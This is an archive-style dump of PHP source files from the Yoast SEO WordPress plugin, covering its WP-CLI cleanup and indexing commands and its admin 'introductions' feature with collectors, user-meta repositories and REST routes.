\Yoast\WP\SEO\Task_List\Infrastructure\Tasks_Collectors\Tasks_Collector */ protected function getTasksCollectorService() { $this->privates['Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Tasks_Collectors\\Tasks_Collector'] = $instance = new \Yoast\WP\SEO\Task_List\Infrastructure\Tasks_Collectors\Tasks_Collector(new \Yoast\WP\SEO\Task_List\Application\Tasks\Complete_FTC(($this->services['Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper'] ?? $this->getFirstTimeConfigurationNoticeHelperService())), new \Yoast\WP\SEO\Task_List\Application\Tasks\Create_New_Content(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())), new \Yoast\WP\SEO\Task_List\Application\Tasks\Delete_Hello_World(), new \Yoast\WP\SEO\Task_List\Application\Tasks\Enable_Llms_Txt(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))), ($this->privates['Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Set_Search_Appearance_Templates'] ?? $this->getSetSearchAppearanceTemplatesService())); $instance->set_tracking_link_adapter(new \Yoast\WP\SEO\Tracking\Infrastructure\Tracking_Link_Adapter()); return $instance; } /** * Gets the private 'Yoast\WP\SEO\Tracking\Application\Action_Tracker' shared autowired service. * * @return \Yoast\WP\SEO\Tracking\Application\Action_Tracker */ protected function getActionTrackerService() { return $this->privates['Yoast\\WP\\SEO\\Tracking\\Application\\Action_Tracker'] = new \Yoast\WP\SEO\Tracking\Application\Action_Tracker(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } } commands/cleanup-command.php000064400000012433152076255610012135 0ustar00cleanup_integration = $cleanup_integration; } /** * Returns the namespace of this command. * * @return string */ public static function get_namespace() { return Main::WP_CLI_NAMESPACE; } /** * Performs a cleanup of custom Yoast tables. * * This removes unused, unwanted or orphaned database records, which ensures the best performance. Including: * - Indexables * - Indexable hierarchy * - SEO links * * ## OPTIONS * * [--batch-size=] * : The number of database records to clean up in a single sql query. * --- * default: 1000 * --- * * [--interval=] * : The number of microseconds (millionths of a second) to wait between cleanup batches. * --- * default: 500000 * --- * * [--network] * : Performs the cleanup on all sites within the network. * * ## EXAMPLES * * wp yoast cleanup * * @when after_wp_load * * @param array|null $args The arguments. * @param array|null $assoc_args The associative arguments. * * @return void * * @throws ExitException When the input args are invalid. */ public function cleanup( $args = null, $assoc_args = null ) { if ( isset( $assoc_args['interval'] ) && (int) $assoc_args['interval'] < 0 ) { WP_CLI::error( \__( 'The value for \'interval\' must be a positive integer.', 'wordpress-seo' ) ); } if ( isset( $assoc_args['batch-size'] ) && (int) $assoc_args['batch-size'] < 1 ) { WP_CLI::error( \__( 'The value for \'batch-size\' must be a positive integer higher than equal to 1.', 'wordpress-seo' ) ); } if ( isset( $assoc_args['network'] ) && \is_multisite() ) { $total_removed = $this->cleanup_network( $assoc_args ); } else { $total_removed = $this->cleanup_current_site( $assoc_args ); } WP_CLI::success( \sprintf( /* translators: %1$d is the number of records that are removed. */ \_n( 'Cleaned up %1$d record.', 'Cleaned up %1$d records.', $total_removed, 'wordpress-seo', ), $total_removed, ), ); } /** * Performs the cleanup for the entire network. * * @param array|null $assoc_args The associative arguments. * * @return int The number of cleaned up records. */ private function cleanup_network( $assoc_args ) { $criteria = [ 'fields' => 'ids', 'spam' => 0, 'deleted' => 0, 'archived' => 0, ]; $blog_ids = \get_sites( $criteria ); $total_removed = 0; foreach ( $blog_ids as $blog_id ) { \switch_to_blog( $blog_id ); $total_removed += $this->cleanup_current_site( $assoc_args ); \restore_current_blog(); } return $total_removed; } /** * Performs the cleanup for a single site. * * @param array|null $assoc_args The associative arguments. * * @return int The number of cleaned up records. */ private function cleanup_current_site( $assoc_args ) { $site_url = \site_url(); $total_removed = 0; if ( ! \is_plugin_active( \WPSEO_BASENAME ) ) { /* translators: %1$s is the site url of the site that is skipped. %2$s is Yoast SEO. */ WP_CLI::warning( \sprintf( \__( 'Skipping %1$s. %2$s is not active on this site.', 'wordpress-seo' ), $site_url, 'Yoast SEO' ) ); return $total_removed; } // Make sure the DB is up to date first. \do_action( '_yoast_run_migrations' ); $tasks = $this->cleanup_integration->get_cleanup_tasks(); $limit = (int) $assoc_args['batch-size']; $interval = (int) $assoc_args['interval']; /* translators: %1$s is the site url of the site that is cleaned up. %2$s is the name of the cleanup task that is currently running. */ $progress_bar_title_format = \__( 'Cleaning up %1$s [%2$s]', 'wordpress-seo' ); $progress = Utils\make_progress_bar( \sprintf( $progress_bar_title_format, $site_url, \key( $tasks ) ), \count( $tasks ) ); foreach ( $tasks as $task_name => $task ) { // Update the progressbar title with the current task name. $progress->tick( 0, \sprintf( $progress_bar_title_format, $site_url, $task_name ) ); do { $items_cleaned = $task( $limit ); if ( \is_int( $items_cleaned ) ) { $total_removed += $items_cleaned; } \usleep( $interval ); // Update the timer. $progress->tick( 0 ); } while ( $items_cleaned !== false && $items_cleaned > 0 ); $progress->tick(); } $progress->finish(); $this->cleanup_integration->reset_cleanup(); WP_CLI::log( \sprintf( /* translators: %1$d is the number of records that were removed. %2$s is the site url. */ \_n( 'Cleaned up %1$d record from %2$s.', 'Cleaned up %1$d records from %2$s.', $total_removed, 'wordpress-seo', ), $total_removed, $site_url, ), ); return $total_removed; } } commands/command-interface.php000064400000000464152076255610012447 0ustar00post_indexation_action = $post_indexation_action; $this->term_indexation_action = $term_indexation_action; $this->post_type_archive_indexation_action = $post_type_archive_indexation_action; $this->general_indexation_action = $general_indexation_action; $this->complete_indexation_action = $complete_indexation_action; $this->prepare_indexing_action = $prepare_indexing_action; $this->post_link_indexing_action = $post_link_indexing_action; $this->term_link_indexing_action = $term_link_indexing_action; $this->indexable_helper = $indexable_helper; } /** * Gets the namespace. * * @return string */ public static function get_namespace() { return Main::WP_CLI_NAMESPACE; } /** * Indexes all your content to ensure the best performance. * * ## OPTIONS * * [--network] * : Performs the indexation on all sites within the network. * * [--reindex] * : Removes all existing indexables and then reindexes them. * * [--skip-confirmation] * : Skips the confirmations (for automated systems). * * [--interval=] * : The number of microseconds (millionths of a second) to wait between index actions. * --- * default: 500000 * --- * * ## EXAMPLES * * wp yoast index * * @when after_wp_load * * @param array|null $args The arguments. * @param array|null $assoc_args The associative arguments. * * @return void */ public function index( $args = null, $assoc_args = null ) { if ( ! $this->indexable_helper->should_index_indexables() ) { WP_CLI::log( \__( 'Your WordPress environment is running on a non-production site. Indexables can only be created on production environments. Please check your `WP_ENVIRONMENT_TYPE` settings.', 'wordpress-seo' ), ); return; } if ( ! isset( $assoc_args['network'] ) ) { $this->run_indexation_actions( $assoc_args ); return; } $criteria = [ 'fields' => 'ids', 'spam' => 0, 'deleted' => 0, 'archived' => 0, ]; $blog_ids = \get_sites( $criteria ); foreach ( $blog_ids as $blog_id ) { \switch_to_blog( $blog_id ); \do_action( '_yoast_run_migrations' ); $this->run_indexation_actions( $assoc_args ); \restore_current_blog(); } } /** * Runs all indexation actions. * * @param array $assoc_args The associative arguments. * * @return void */ protected function run_indexation_actions( $assoc_args ) { // See if we need to clear all indexables before repopulating. if ( isset( $assoc_args['reindex'] ) ) { // Argument --skip-confirmation to prevent confirmation (for automated systems). if ( ! isset( $assoc_args['skip-confirmation'] ) ) { WP_CLI::confirm( 'This will clear all previously indexed objects. Are you certain you wish to proceed?' ); } // Truncate the tables. $this->clear(); // Delete the transients to make sure re-indexing runs every time. \delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Post_Type_Archive_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); } $indexation_actions = [ 'posts' => $this->post_indexation_action, 'terms' => $this->term_indexation_action, 'post type archives' => $this->post_type_archive_indexation_action, 'general objects' => $this->general_indexation_action, 'post links' => $this->post_link_indexing_action, 'term links' => $this->term_link_indexing_action, ]; $this->prepare_indexing_action->prepare(); $interval = (int) $assoc_args['interval']; foreach ( $indexation_actions as $name => $indexation_action ) { $this->run_indexation_action( $name, $indexation_action, $interval ); } $this->complete_indexation_action->complete(); } /** * Runs an indexation action. * * @param string $name The name of the object to be indexed. * @param Indexation_Action_Interface $indexation_action The indexation action. * @param int $interval Number of microseconds (millionths of a second) to wait between index actions. * * @return void */ protected function run_indexation_action( $name, Indexation_Action_Interface $indexation_action, $interval ) { $total = $indexation_action->get_total_unindexed(); if ( $total > 0 ) { $limit = $indexation_action->get_limit(); $progress = Utils\make_progress_bar( 'Indexing ' . $name, $total ); do { $indexables = $indexation_action->index(); $count = \count( $indexables ); $progress->tick( $count ); \usleep( $interval ); Utils\wp_clear_object_cache(); } while ( $count >= $limit ); $progress->finish(); } } /** * Clears the database related to the indexables. * * @return void */ protected function clear() { global $wpdb; // For the PreparedSQLPlaceholders issue, see: https://github.com/WordPress/WordPress-Coding-Standards/issues/1903. // For the DirectDBQuery issue, see: https://github.com/WordPress/WordPress-Coding-Standards/issues/1947. // phpcs:disable WordPress.DB -- Table names should not be quoted and truncate queries can not be cached. $wpdb->query( $wpdb->prepare( 'TRUNCATE TABLE %1$s', Model::get_table_name( 'Indexable' ), ), ); $wpdb->query( $wpdb->prepare( 'TRUNCATE TABLE %1$s', Model::get_table_name( 'Indexable_Hierarchy' ), ), ); // phpcs:enable } } introductions/readme.md000064400000003402152076255610011237 0ustar00# Introductions Is for showing introductions to a user, on Yoast admin pages. Based on plugin version, page, user capabilities and whether the user has seen it already. - `Introduction_Interface` defines what data is needed - `id` as unique identifier - `plugin` and `version` to determine if the introduction is new (version > plugin version) - `pages` to be able to only show on certain Yoast admin pages - `capabilities` to be able to only show for certain users - `Introductions_Collector` uses that data to determine whether an introduction should be "shown" to a user - uses the `wpseo_introductions` filter to be extendable from our other plugins - uses `Introductions_Seen_Repository` to get the data to determine if the user saw an introduction already - `Introductions_Seen_Repository` is the doorway whether a user has seen an introduction or not - uses the `_yoast_introductions` user metadata - `Introduction_Bucket` and `Introduction_Item` are used by the collector to get an array - `Introductions_Integration` runs on the Yoast Admin pages and loads the assets - only loads on our Yoast admin pages, but never on our installation success pages as to not disturb onboarding - only loads assets if there is an introduction to show - `js/src/introductions` holds the JS - `wpseoIntroductions` is the localized script to transfer data from PHP to JS - `css/src/ai-generator.css` holds the CSS Inside JS, register the modal content via `window.YoastSEO._registerIntroductionComponent`, which takes a `id` and a `Component`. The id needs to be the same as the id in the `Introduction_Interface`. The action `yoast.introductions.ready` can be used to know whether the registration function is available and ready for use. introductions/domain/introductions-bucket.php000064400000001540152076255610015620 0ustar00introductions = []; } /** * Adds an introduction to this bucket. * * @param Introduction_Item $introduction The introduction. * * @return void */ public function add_introduction( Introduction_Item $introduction ) { $this->introductions[] = $introduction; } /** * Returns the array representation of the introductions. * * @return array */ public function to_array() { // No sorting here because that is done in JS. return \array_map( static function ( $item ) { return $item->to_array(); }, $this->introductions, ); } } introductions/domain/introduction-interface.php000064400000000711152076255610016117 0ustar00id = $id; $this->priority = $priority; } /** * Returns an array representation of the data. * * @return array Returns in an array format. */ public function to_array() { return [ 'id' => $this->get_id(), 'priority' => $this->get_priority(), ]; } /** * Returns the ID. * * @return string */ public function get_id() { return $this->id; } /** * Returns the requested pagination priority. Higher means earlier. * * @return int */ public function get_priority() { return $this->priority; } } introductions/application/ai-brand-insights-post-launch.php000064400000002347152076255620020242 0ustar00current_page_helper = $current_page_helper; } /** * Returns the ID. * * @return string The ID. */ public function get_id() { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @return int The priority. */ public function get_priority() { return 20; } /** * Returns whether this introduction should show. * * @return bool Whether this introduction should show. */ public function should_show() { return $this->current_page_helper->is_yoast_seo_page(); } } introductions/application/user-allowed-trait.php000064400000000746152076255620016231 0ustar00introductions = $this->add_introductions( ...$introductions ); } /** * Gets the data for the introductions. * * @param int $user_id The user ID. * * @return array The list of introductions. */ public function get_for( $user_id ) { $bucket = new Introductions_Bucket(); $metadata = $this->get_metadata( $user_id ); foreach ( $this->introductions as $introduction ) { if ( ! $introduction->should_show() ) { continue; } if ( $this->is_seen( $introduction->get_id(), $metadata ) ) { continue; } $bucket->add_introduction( new Introduction_Item( $introduction->get_id(), $introduction->get_priority() ), ); } return $bucket->to_array(); } /** * Filters introductions with the 'wpseo_introductions' filter. * * @param Introduction_Interface ...$introductions The introductions. * * @return Introduction_Interface[] */ private function add_introductions( Introduction_Interface ...$introductions ) { /** * Filter: Adds the possibility to add additional introductions to be included. * * @internal * * @param Introduction_Interface $introductions This filter expects a list of Introduction_Interface instances and * expects only Introduction_Interface implementations to be added to the list. */ $filtered_introductions = (array) \apply_filters( 'wpseo_introductions', $introductions ); return \array_filter( $filtered_introductions, static function ( $introduction ) { return \is_a( $introduction, Introduction_Interface::class ); }, ); } /** * Retrieves the introductions metadata for the user. * * @param int $user_id The user ID. * * @return array The introductions' metadata. */ public function get_metadata( $user_id ) { $metadata = \get_user_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, true ); if ( \is_array( $metadata ) ) { return $metadata; } return []; } /** * Determines whether the user has seen the introduction. * * @param string $name The name. * @param string[] $metadata The metadata. * * @return bool Whether the user has seen the introduction. */ private function is_seen( $name, $metadata ) { if ( \array_key_exists( $name, $metadata ) ) { if ( \is_array( $metadata[ $name ] ) ) { return (bool) ( $metadata[ $name ]['is_seen'] ); } return (bool) $metadata[ $name ]; } return false; } /** * Checks if the given introduction ID is a known ID to the system. * * @param string $introduction_id The introduction ID to check. * * @return bool */ public function is_available_introduction( string $introduction_id ): bool { foreach ( $this->introductions as $introduction ) { if ( $introduction->get_id() === $introduction_id ) { return true; } } return false; } } introductions/application/google-docs-addon-upsell.php000064400000003433152076255620017270 0ustar00user_helper = $user_helper; $this->product_helper = $product_helper; $this->current_page_helper = $current_page_helper; } /** * Returns the ID. * * @return string The ID. */ public function get_id() { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @return int The priority. */ public function get_priority() { return 20; } /** * Returns whether this introduction should show. * We no longer show this introduction, so we always return false. * * @return bool Whether this introduction should show. */ public function should_show() { return false; } } introductions/application/current-page-trait.php000064400000002512152076255620016213 0ustar00get_page(), $pages, true ); } /** * Determines whether the current page is one of our installation pages. * * @return bool Whether the current page is one of our installation pages. */ private function is_on_installation_page() { return $this->is_on_yoast_page( [ 'wpseo_installation_successful_free', 'wpseo_installation_successful' ] ); } /** * Retrieve the page variable. * * Note: the result is not safe to use in anything than strict comparisons! * * @return string The page variable. */ private function get_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, only using it in strict comparison. return \wp_unslash( $_GET['page'] ); } return ''; } } introductions/application/ai-brand-insights-pre-launch.php000064400000002452152076255620020040 0ustar00current_page_helper = $current_page_helper; } /** * Returns the ID. * * @codeCoverageIgnore * * @return string The ID. */ public function get_id() { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @codeCoverageIgnore * * @return int The priority. */ public function get_priority() { return 20; } /** * Returns whether this introduction should show. * * @codeCoverageIgnore * * @return bool Whether this introduction should show. */ public function should_show() { return false; } } introductions/application/delayed-premium-upsell.php000064400000011667152076255620017076 0ustar00current_page_helper = $current_page_helper; $this->introductions_seen_repository = $introductions_seen_repository; $this->options_helper = $options_helper; $this->product_helper = $product_helper; } /** * Returns the ID. * * @return string The ID. */ public function get_id(): string { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @return int The priority. */ public function get_priority(): int { return 30; } /** * Returns whether this introduction should show. * * @return bool Whether this introduction should show. */ public function should_show(): bool { // Never show when not on a Yoast SEO page or when the user has Premium activated. if ( ! $this->current_page_helper->is_yoast_seo_page() || $this->product_helper->is_premium() ) { return false; } return $this->should_show_after_delay(); } /** * Determines if the introduction should show based on the self:DELAY_DAY delay from installation or update. * * @return bool Whether the introduction should show after the delay. */ private function should_show_after_delay(): bool { $delay = ( self::DELAY_DAYS * \DAY_IN_SECONDS ); $current_time = \time(); $previous_version = $this->options_helper->get( 'previous_version' ); $first_activated_on = $this->options_helper->get( 'first_activated_on' ); // Case where the user has installed the plugin for the first time and the delay has passed. if ( $previous_version === '' ) { return ( $current_time - $first_activated_on ) >= $delay && $this->is_last_introduction_seen_older_than_a_week(); } // Case where the user has updated the plugin and the delay has passed since the last update. $last_updated_on = $this->options_helper->get( 'last_updated_on' ); $uniform_last_updated_on = \is_int( $last_updated_on ) ? $last_updated_on : 0; if ( ( $current_time - $uniform_last_updated_on ) >= $delay ) { return $this->is_last_introduction_seen_older_than_a_week(); } return false; } /** * Checks if the last introduction seen is older than a week. * * @return bool True if the last introduction seen is older than a week, false otherwise. */ private function is_last_introduction_seen_older_than_a_week(): bool { $seen_introductions = $this->introductions_seen_repository->get_all_introductions( \get_current_user_id() ); // No other introduction has been seen. if ( empty( $seen_introductions ) ) { return true; } $old_format_introductions = \array_filter( $seen_introductions, static function ( $item ) { return \is_bool( $item ); }, ); if ( ! empty( $old_format_introductions ) ) { // There are introductions in the old format, so we cannot determine when they were seen. // To be safe, we assume the user has seen an introduction recently. return false; } // Find the most recent introduction seen. $most_recent_introduction = \array_reduce( $seen_introductions, static function ( $carry, $item ) { if ( $carry === null || $item['seen_on'] > $carry['seen_on'] ) { return $item; } return $carry; }, ); // If the most recent introduction seen is older than a week, return true. if ( ( \time() - $most_recent_introduction['seen_on'] ) >= ( 7 * \DAY_IN_SECONDS ) ) { return true; } return false; } } introductions/application/version-trait.php000064400000001141152076255620015301 0ustar00=' ) && \version_compare( $version, $max_version, '<' ) ); } } introductions/application/ai-fix-assessments-upsell.php000064400000002670152076255620017530 0ustar00user_helper = $user_helper; $this->product_helper = $product_helper; } /** * Returns the ID. * * @return string The ID. */ public function get_id() { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @return int The priority. */ public function get_priority() { return 20; } /** * Returns whether this introduction should show. * We no longer show this introduction, so we always return false. * * @return bool Whether this introduction should show. */ public function should_show() { return false; } } introductions/application/black-friday-announcement.php000064400000003624152076255630017524 0ustar00current_page_helper = $current_page_helper; $this->promotion_manager = $promotion_manager; $this->product_helper = $product_helper; } /** * Returns the ID. * * @return string The ID. */ public function get_id() { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @return int The priority. */ public function get_priority() { return 10; } /** * Returns whether this introduction should show. * * @return bool Whether this introduction should show. */ public function should_show() { return $this->current_page_helper->is_yoast_seo_page() && ! $this->product_helper->is_premium() && $this->promotion_manager->is( 'black-friday-promotion' ); } } introductions/infrastructure/wistia-embed-permission-repository.php000064400000004072152076255630022234 0ustar00user_helper = $user_helper; } /** * Retrieves the current value for a user. * * @param int $user_id User ID. * * @return bool The current value. * * @throws Exception If an invalid user ID is supplied. */ public function get_value_for_user( $user_id ) { $value = $this->user_helper->get_meta( $user_id, self::USER_META_KEY, true ); if ( $value === false ) { throw new Exception( 'Invalid User ID' ); } if ( $value === '0' || $value === '1' ) { // The value is stored as a string because otherwise we can not see the difference between false and an invalid user ID. return $value === '1'; } /** * Why could $value be invalid? * - When the database row does not exist yet, $value can be an empty string. * - Faulty data was stored? */ return self::DEFAULT_VALUE; } /** * Sets the Wistia embed permission value for the current user. * * @param int $user_id The user ID. * @param bool $value The value. * * @return bool Whether the update was successful. * * @throws Exception If an invalid user ID is supplied. */ public function set_value_for_user( $user_id, $value ) { // The value is stored as a string because otherwise we can not see the difference between false and an invalid user ID. $value_as_string = ( $value === true ) ? '1' : '0'; // Checking for only false, not interested in not having to update. return $this->user_helper->update_meta( $user_id, self::USER_META_KEY, $value_as_string ) !== false; } } introductions/infrastructure/introductions-seen-repository.php000064400000007404152076255630021332 0ustar00user_helper = $user_helper; } /** * Retrieves the introductions. * * @param int $user_id User ID. * * @return array The introductions. * * @throws Invalid_User_Id_Exception If an invalid user ID is supplied. */ public function get_all_introductions( $user_id ): array { $seen_introductions = $this->user_helper->get_meta( $user_id, self::USER_META_KEY, true ); if ( $seen_introductions === false ) { throw new Invalid_User_Id_Exception(); } if ( \is_array( $seen_introductions ) ) { return $seen_introductions; } /** * Why could $value be invalid? * - When the database row does not exist yet, $value can be an empty string. * - Faulty data was stored? */ return self::DEFAULT_VALUE; } /** * Sets the introductions. * * @param int $user_id The user ID. * @param array $introductions The introductions. * * @return bool True on successful update, false on failure or if the value passed to the function is the same as * the one that is already in the database. */ public function set_all_introductions( $user_id, array $introductions ): bool { return $this->user_helper->update_meta( $user_id, self::USER_META_KEY, $introductions ) !== false; } /** * Retrieves whether an introduction is seen. * * @param int $user_id User ID. * @param string $introduction_id The introduction ID. * * @return bool Whether the introduction is seen. * * @throws Invalid_User_Id_Exception If an invalid user ID is supplied. */ public function is_introduction_seen( $user_id, string $introduction_id ): bool { $introductions = $this->get_all_introductions( $user_id ); if ( \array_key_exists( $introduction_id, $introductions ) ) { if ( \is_array( $introductions[ $introduction_id ] ) ) { return (bool) $introductions[ $introduction_id ]['is_seen']; } else { return (bool) $introductions[ $introduction_id ]; } } return false; } /** * Sets the introduction as seen. * * @param int $user_id The user ID. * @param string $introduction_id The introduction ID. * @param bool $is_seen Whether the introduction is seen. Defaults to true. * * @return bool False on failure. Not having to update is a success. * * @throws Invalid_User_Id_Exception If an invalid user ID is supplied. */ public function set_introduction( $user_id, string $introduction_id, bool $is_seen = true ): bool { $introductions = $this->get_all_introductions( $user_id ); // Check if the wanted value is already set. if ( \array_key_exists( $introduction_id, $introductions ) ) { if ( \is_array( $introductions[ $introduction_id ] ) ) { // New format with seen_on timestamp. if ( $introductions[ $introduction_id ]['is_seen'] === $is_seen ) { return true; } } // Old format with just a boolean. elseif ( $introductions[ $introduction_id ] === $is_seen ) { return true; } } // If not, set it. $introductions[ $introduction_id ] = [ 'is_seen' => $is_seen, 'seen_on' => ( $is_seen === true ) ? \time() : 0, ]; return $this->set_all_introductions( $user_id, $introductions ); } } introductions/user-interface/introductions-seen-route.php000064400000007304152076255630020104 0ustar00[\w-]+)/seen'; /** * Holds the introductions collector instance. * * @var Introductions_Collector */ private $introductions_collector; /** * Holds the repository. * * @var Introductions_Seen_Repository */ private $introductions_seen_repository; /** * Holds the user helper. * * @var User_Helper */ private $user_helper; /** * Constructs the class. * * @param Introductions_Seen_Repository $introductions_seen_repository The repository. * @param User_Helper $user_helper The user helper. * @param Introductions_Collector $introductions_collector The introduction collector. */ public function __construct( Introductions_Seen_Repository $introductions_seen_repository, User_Helper $user_helper, Introductions_Collector $introductions_collector ) { $this->introductions_seen_repository = $introductions_seen_repository; $this->user_helper = $user_helper; $this->introductions_collector = $introductions_collector; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( Main::API_V1_NAMESPACE, self::ROUTE_PREFIX, [ [ 'methods' => 'POST', 'callback' => [ $this, 'set_introduction_seen' ], 'permission_callback' => [ $this, 'permission_edit_posts' ], 'args' => [ 'introduction_id' => [ 'required' => true, 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', ], 'is_seen' => [ 'required' => false, 'type' => 'bool', 'default' => true, 'sanitize_callback' => 'rest_sanitize_boolean', ], ], ], ], ); } /** * Sets whether the introduction is seen. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function set_introduction_seen( WP_REST_Request $request ) { $params = $request->get_params(); $introduction_id = $params['introduction_id']; $is_seen = $params['is_seen']; if ( $this->introductions_collector->is_available_introduction( $introduction_id ) ) { try { $user_id = $this->user_helper->get_current_user_id(); $result = $this->introductions_seen_repository->set_introduction( $user_id, $introduction_id, $is_seen ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_introductions_seen_error', $exception->getMessage(), (object) [], ); } return new WP_REST_Response( [ 'json' => (object) [ 'success' => $result, ], ], ( $result ) ? 200 : 400, ); } return new WP_REST_Response( [], 400 ); } /** * Permission callback. * * @return bool True when user has 'edit_posts' permission. */ public function permission_edit_posts() { return \current_user_can( 'edit_posts' ); } } introductions/user-interface/introductions-integration.php000064400000015474152076255630020350 0ustar00 */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Constructs the integration. * * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager. * @param Introductions_Collector $introductions_collector The introductions' collector. * @param Product_Helper $product_helper The product helper. * @param User_Helper $user_helper The user helper. * @param Short_Link_Helper $short_link_helper The short link helper. * @param Wistia_Embed_Permission_Repository $wistia_embed_permission_repository The repository. * @param WooCommerce_Conditional $woocommerce_conditional The WooCommerce conditional. */ public function __construct( WPSEO_Admin_Asset_Manager $admin_asset_manager, Introductions_Collector $introductions_collector, Product_Helper $product_helper, User_Helper $user_helper, Short_Link_Helper $short_link_helper, Wistia_Embed_Permission_Repository $wistia_embed_permission_repository, WooCommerce_Conditional $woocommerce_conditional ) { $this->admin_asset_manager = $admin_asset_manager; $this->introductions_collector = $introductions_collector; $this->product_helper = $product_helper; $this->user_helper = $user_helper; $this->short_link_helper = $short_link_helper; $this->wistia_embed_permission_repository = $wistia_embed_permission_repository; $this->woocommerce_conditional = $woocommerce_conditional; } /** * Registers the action to enqueue the needed script(s). * * @return void */ public function register_hooks() { if ( $this->is_on_installation_page() ) { return; } \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); } /** * Enqueue the new features assets. * * @return void */ public function enqueue_assets() { $user_id = $this->user_helper->get_current_user_id(); $this->update_metadata_for( $user_id ); $introductions = $this->introductions_collector->get_for( $user_id ); if ( ! $introductions ) { // Bail when there are no introductions to show. return; } // Update user meta to have "seen" these introductions. $this->update_user_introductions( $user_id, $introductions ); $this->admin_asset_manager->enqueue_script( self::SCRIPT_HANDLE ); $this->admin_asset_manager->localize_script( self::SCRIPT_HANDLE, 'wpseoIntroductions', [ 'introductions' => $introductions, 'isPremium' => $this->product_helper->is_premium(), 'isRtl' => \is_rtl(), 'linkParams' => $this->short_link_helper->get_query_params(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( $user_id ), 'isWooEnabled' => $this->woocommerce_conditional->is_met(), ], ); $this->admin_asset_manager->enqueue_style( 'introductions' ); } /** * Updates the user metadata to have "seen" the introductions. * * @param int $user_id The user ID. * @param array $introductions The introductions. * * @return void */ private function update_user_introductions( $user_id, $introductions ) { $metadata = $this->user_helper->get_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, true ); if ( ! \is_array( $metadata ) ) { $metadata = []; } if ( empty( $introductions ) || ! \is_array( $introductions ) ) { return; } // Find the introduction with the highest priority, because JS will only show that one. $highest_priority_intro = \array_reduce( $introductions, static function ( $carry, $item ) { return ( $carry === null || $item['priority'] < $carry['priority'] ) ? $item : $carry; }, null, ); if ( $highest_priority_intro === null ) { return; } // Mark the introduction with the highest priority as seen. $metadata[ $highest_priority_intro['id'] ]['is_seen'] = true; $metadata[ $highest_priority_intro['id'] ]['seen_on'] = \time(); $this->user_helper->update_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, $metadata ); } /** * Updates the introductions metadata format for the user * This is needed because we're introducing timestamps for introductions that have been seen, thus changing the format. * * @param int $user_id The user ID. * * @return void */ private function update_metadata_for( int $user_id ) { $metadata = $this->introductions_collector->get_metadata( $user_id ); foreach ( $metadata as $introduction_name => $introduction_data ) { if ( \is_bool( $introduction_data ) ) { $metadata[ $introduction_name ] = [ 'is_seen' => $introduction_data, 'seen_on' => ( $introduction_data === true ) ? \time() : 0, ]; } } $this->user_helper->update_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, $metadata ); } } introductions/user-interface/wistia-embed-permission-route.php000064400000007254152076255630021014 0ustar00wistia_embed_permission_repository = $wistia_embed_permission_repository; $this->user_helper = $user_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( Main::API_V1_NAMESPACE, self::ROUTE_PREFIX, [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_wistia_embed_permission' ], 'permission_callback' => [ $this, 'permission_edit_posts' ], ], [ 'methods' => 'POST', 'callback' => [ $this, 'set_wistia_embed_permission' ], 'permission_callback' => [ $this, 'permission_edit_posts' ], 'args' => [ 'value' => [ 'required' => false, 'type' => 'bool', 'default' => true, ], ], ], ], ); } /** * Gets the value of the wistia embed permission. * * @return WP_REST_Response|WP_Error The response, or an error. */ public function get_wistia_embed_permission() { try { $user_id = $this->user_helper->get_current_user_id(); $value = $this->wistia_embed_permission_repository->get_value_for_user( $user_id ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_wistia_embed_permission_error', $exception->getMessage(), (object) [], ); } return new WP_REST_Response( [ 'json' => (object) [ 'value' => $value, ], ], ); } /** * Sets the value of the wistia embed permission. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function set_wistia_embed_permission( WP_REST_Request $request ) { $params = $request->get_json_params(); $value = (bool) $params['value']; try { $user_id = $this->user_helper->get_current_user_id(); $result = $this->wistia_embed_permission_repository->set_value_for_user( $user_id, $value ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_wistia_embed_permission_error', $exception->getMessage(), (object) [], ); } return new WP_REST_Response( [ 'json' => (object) [ 'success' => $result, ], ], ( $result ) ? 200 : 400, ); } /** * Permission callback. * * @return bool True when user has 'edit_posts' permission. */ 